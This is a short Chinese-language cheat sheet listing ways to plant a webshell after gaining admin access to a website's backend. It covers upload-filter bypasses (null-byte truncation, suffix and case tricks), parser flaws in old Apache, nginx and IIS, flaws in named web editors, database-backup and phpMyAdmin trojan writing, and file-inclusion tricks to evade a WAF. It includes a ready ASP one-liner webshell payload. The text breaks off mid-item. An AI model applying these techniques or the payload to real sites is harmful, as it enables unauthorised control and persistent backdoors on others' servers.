一、管理员权限进后台
正常上传:网站对上传文件的后缀并未过滤,直接上传
数据库备份与恢复:网站对上传的文件后缀有过滤,但网站有数据库备份的功能,可以将WebShell格式先改为允许上传的文件格式,然后,我们找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。
数据库配置文件插码:往配置文件中写入木马
各种绕过姿势:00%截断;特殊后缀文件名绕过;文件名大小绕过
利用解析漏洞:利用低版本的中间件apache、nginx、IIS等的解析漏洞
利用编辑器漏洞:fckeditor\ewebeditor\cheditor
网站配置挂马:"%><%eval request("XXX")%><%"
通过编辑模板:将木马添加到压缩文件,后缀改为网站模板类型上传
删除/修改脚本:当网站设置了js脚本,限制了上传文件的类型时,用burpsuite或者fiddle提交
数据库命令执行:通过phpmyadmin 登录数据库,写入一句话木马
添加静态页面
文件包含:先将WebShell 改为txt格式文件上传,然后上传一个脚本文件包含该txt格式文件,可绕过WAF拿WebShell
1)先上传一个含有包含代码(如<!-- #include file="x.jpg" -->